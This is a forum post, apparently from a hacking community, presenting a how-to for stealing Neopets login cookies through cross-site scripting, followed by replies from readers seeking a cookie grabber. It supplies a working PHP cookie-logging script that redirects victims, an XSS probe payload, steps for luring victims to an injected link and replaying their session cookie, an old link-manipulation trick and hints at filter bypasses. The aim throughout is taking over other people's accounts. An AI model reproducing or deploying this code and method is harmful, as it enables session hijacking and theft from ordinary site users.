Secondly, thank you to Kyo for his expertise; most of what I've learned is from him. The rest, I learned along the way. Now, onto the guide.
Thirdly, yes. You really are looking at a cookie grabbing guide.
Cross-site scripting (XSS) is possible when a site has insecure coding. When websites allow us to interact with them (e.g. search box, comment boxes, etc) and don't keep it secure, they render themselves vulnerable to code injection.
Many CGers take advantage of this and employ PHP and Javascript to snag the cookies. XSS itself isn't needed to CG, however but is just a step away from PHP/JS.
Requirements
Basic knowledge of HTML
A website host (nearlyfreespeech, tech.coop, netfirms, etc)
Writing the script
People use PHP to retrieve the cookies and record it to a text file. A PHP script begins with <?php and ends with ?>.
Code:
<?php
header("Location: http://www.neopets.com/index.phtml");
// This is a redirect link takes the user to the specified link
// after they view the page the cookie-grabbing code is on.
$cookie = $_GET['cookie'];
// This line sends data to the PHP file using the GET command.
// The data is named ‘cookie’.
$file = fopen('log.txt', 'a');
// This opens a file named log.txt.
fwrite($file , 'cookie: '.$cookie);
// This writes the ‘cookie’ to the file
fwrite($file , "\r\n");
// This is a line break.
fclose($file);
// This closes the file.
?>
Sending anyone the link to your website with the script in it (1) snags their cookies (2) records in a log (3) redirects them to whatever link specified.
Finding an exploit
In any place where you can input a value, add <script>alert('1')</script> to see if the site allows javascript. If you get a popup, then the site is vulnerable.
(Note: The demonstrated exploit has been patched.)
Take for example the below and its corresponding result:
Now you should have a popup that shows you your cookies. The highlighted portion is the neologin, which is the only information we need.
You don’t actually write the data to the server unless you inject a script that modifies the page on the server’s end. The only thing you change is how the dynamic page acts on your end. As a result when you send someone else the page, you have to send him or her the link with the injection already in that page.
Using this script will grab someone else’s cookies and log it on your site.
Unfortunately, document.cookie is blocked on Neopets. There are/have been ways around this and alternatives (not listed).
Using the Cookies
Now that you’ve got their cookies recorded, you need to use them. This is done by replacing your Neopets cookie with ttheir cookie. Fortunately, we have addons to make it easy for us to do that.
Above, we discussed CGing that involved having someone click on a link that took them to an offsite page to snag their cookies. But how did people CG in the last petpage scare? This was mostly due to an error on TNT's part; you were able to link offsite by manipulating the battledome stats. This, of course, has since been patched due to rampant abuse.
Code:
<a href="http%#BD_LOSTA//google.com">TEXT</a>
Once upon a time in a very distant past, you were able to cookie grab simply with an image, before the word "javascript" was blocked.
If you try these now though, you'll notice that TNT has banned the word "javascript". Even its hex form (6a6176617363726970743a616c6572742827312729) and its ASCII form (106,97,118,97,115,99,114,105,112,116,58,97,108,10 1,114,116,40,39,49,39,41) are blocked. Still. There are ways. You just have to do some extra research, gain experience, and be clever.
Conclusion
Written by Leet. This is a basic guide on the steps involved and you could very well start CGing people by linking them offsite. Additionally, it seeks to educate you on past methods and enlighten you on the flexibility of Javascript placement. Keep in mind, the biggest issue is actually getting a working onsite CGer.
Of note, there have been rumors that someone is working on a cookie grabber where simply clicking on a thread in the BD Chat/Pound Chat/Trade Chat gets you CG'd... cough. But alas, it's simply a rumor.
Finally, I won't help you cookie grab others or write a cookie grabber for you. You can use Google if you want to learn more. Suggestions for improvement are happily taken. Did I make any mistakes? Correct me.
Should have had a look at the screenshot before I started going for the shell lol. Shocked there has been so little interest in this thread. Very well explained and very helpful, thanks
i had it but i just cant get the cookies to show up i have to look for that on foxfire ;;
im glad you put this out tho ive been looking for a cookie grabber for a
while if you dont mine can you pm me on this @(you need an account to see links) =)
Why would I PM you? If I'm the one helping you, shouldn't it be your responsibility to PM me? If this sounds quite rude, it's because I feel that it's also quite rude to ask someone to PM you when you could easily PM them yourself. It's a matter of etiquette.
Either way, I'm happy to answer questions but I'm not willing to build a cookie grabber with you.